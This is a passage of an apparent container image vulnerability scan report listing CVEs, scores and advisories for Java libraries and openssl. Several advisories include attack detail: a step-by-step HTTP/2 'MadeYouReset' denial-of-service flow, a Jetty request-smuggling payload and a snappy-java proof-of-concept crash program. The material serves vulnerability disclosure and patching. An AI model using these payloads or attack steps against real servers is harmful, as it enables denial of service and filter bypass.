3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.138%
EPSS Percentile34th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) + +pkg:maven/org.codehaus.jettison/jettison@1.1
+high 7.5: CVE--2023--1436 Uncontrolled Recursion + + + + + + + + +
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ +An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. + +
+
+ +high 7.5: CVE--2022--45693 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.126%
EPSS Percentile33rd percentile
+ +
Description +
+ +Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. + +
+
+ +high 7.5: CVE--2022--45685 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.126%
EPSS Percentile33rd percentile
+ +
Description +
+ +A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. + +
+
+ +high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. + +
+
+ +medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow + + + + + + + + +
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. + +
+
+
+
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
+high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.076%
EPSS Percentile23rd percentile
+ +
Description +
+ +Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” + +### MadeYouReset Vulnerability Summary +The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. + +### Mechanism +The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). +The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: +1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) +2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) +3. PRIORITY frame with a length other than 5. (section 6.3) +From our experience, the primitives are likely to exist in the decreasing order listed above. +Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. + +The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. +While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. + +Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. + +### Attack Flow +For example, a possible attack scenario can be: +1. Attacker opens an HTTP/2 connection to the server. +2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. +3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. +4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). + +The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. +This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) + +### Comparison to Rapid Reset +The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. +The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. +Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. + +### Suggested Mitigations for MadeYouReset +A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. +It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. + +As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. + + +If you have any questions, we will be happy to clarify or schedule a Zoom call. + +Gal, Anat and Yaniv. + +
+
+ +high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption + + + + + + +
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ +
Description +
+ +A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. + +### Impact +This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. + +### Patches +This is patched in version 4.1.100.Final. + +### Workarounds +A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-44487 +- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ +- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ + +
+
+ +high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.419%
EPSS Percentile100th percentile
+ +
Description +
+ +The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. + +
+
+
+
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) + +pkg:maven/net.minidev/json-smart@1.3.2
+high 7.5: CVE--2023--1370 Uncontrolled Recursion + + + + + + + + +
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.012%
EPSS Percentile1st percentile
+ +
Description +
+ +### Impact +Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. + +When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. + +### Patches +This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. + +### Workarounds +N/A + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-1370 +- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 +- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 + +
+
+ +high 7.5: CVE--2021--31684 Out-of-bounds Read + + + + + + + + +
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.108%
EPSS Percentile30th percentile
+ +
Description +
+ +A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.015%
EPSS Percentile2nd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.078%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.528%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+ +medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) + +pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
+high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.080%
EPSS Percentile24th percentile
+ +
Description +
+ +In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. + +
+
+ +medium 5.8: CVE--2025--53864 Uncontrolled Recursion + + + + + + + + +
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.095%
EPSS Percentile27th percentile
+ +
Description +
+ +Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.078%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.528%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-handler@4.1.96.Final
+high 7.5: CVE--2025--24970 Improper Input Validation + + + + + + + + +
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.336%
EPSS Percentile56th percentile
+ +
Description +
+ +### Impact +When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. + +### Workarounds +As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: + +``` +SslContext context = ...; +SslHandler handler = context.newHandler(....); +``` + +to: + +``` +SslContext context = ...; +SSLEngine engine = context.newEngine(....); +SslHandler handler = new SslHandler(engine, ....); +``` + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.13.0 (maven) + +pkg:maven/commons-io/commons-io@2.13.0
+high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.177%
EPSS Percentile40th percentile
+ +
Description +
+ +Uncontrolled Resource Consumption vulnerability in Apache Commons IO. + +The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. + + +This issue affects Apache Commons IO: from 2.0 before 2.14.0. + +Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) + +pkg:maven/dnsjava/dnsjava@2.1.7
+high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity + + + + + + + + +
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.139%
EPSS Percentile34th percentile
+ +
Description +
+ +### Summary + +Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. + +### Details + +DNS Messages are not authenticated. They do not guarantee that + +- received RRs are authentic +- not received RRs do not exist +- all or any received records in a response relate to the request + +Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. +To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) + +1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases +2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) +3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. +4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. + +Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. + +dnsjava does not implement a comparable algorithm, and the provided APIs instead return either + +- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or +- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) + +If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can + +- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or +- completely exchange the relevant response records + +### Impact + +DNS(SEC) libraries are usually used as part of a larger security framework. +Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. +Here are three concrete examples of where this might be detrimental: + +- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. +- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. +- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. + +### Mitigations + +At this point, the following mitigations are recommended: + +- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). +- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. +- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) + +pkg:maven/io.airlift/aircompressor@0.25
+high 8.6: CVE--2024--36114 Out-of-bounds Read + + + + + + + + +
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
+ +
Description +
+ +### Summary +All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). + +### Details +When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. + +Users should update to Aircompressor 0.27 or newer where these issues have been fixed. + +### Impact +When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) + +pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
+high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. + +### Scope + +All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 + +### Details +While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. + +### PoC +Compile and run the following code: +``` +package org.example; +import org.xerial.snappy.SnappyInputStream; + +import java.io.*; + +public class Main { + + public static void main(String[] args) throws IOException { + byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; + SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); + byte[] out = new byte[50]; + try { + in.read(out); + } + catch (Exception ignored) { + } + } +} +``` + +### Impact +Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. + +### Credits +Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. + +We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) + +pkg:maven/commons-beanutils/commons-beanutils@1.9.4
+high 8.8: CVE--2025--48734 Improper Access Control + + + + + + + + +
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.048%
EPSS Percentile15th percentile
+ +
Description +
+ +Improper Access Control vulnerability in Apache Commons. + + + +A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. + + + + + +Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). +Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. + +This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils + + 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. + + +Users of the artifact org.apache.commons:commons-beanutils2 + + 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.23.4
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.115%
EPSS Percentile31st percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and 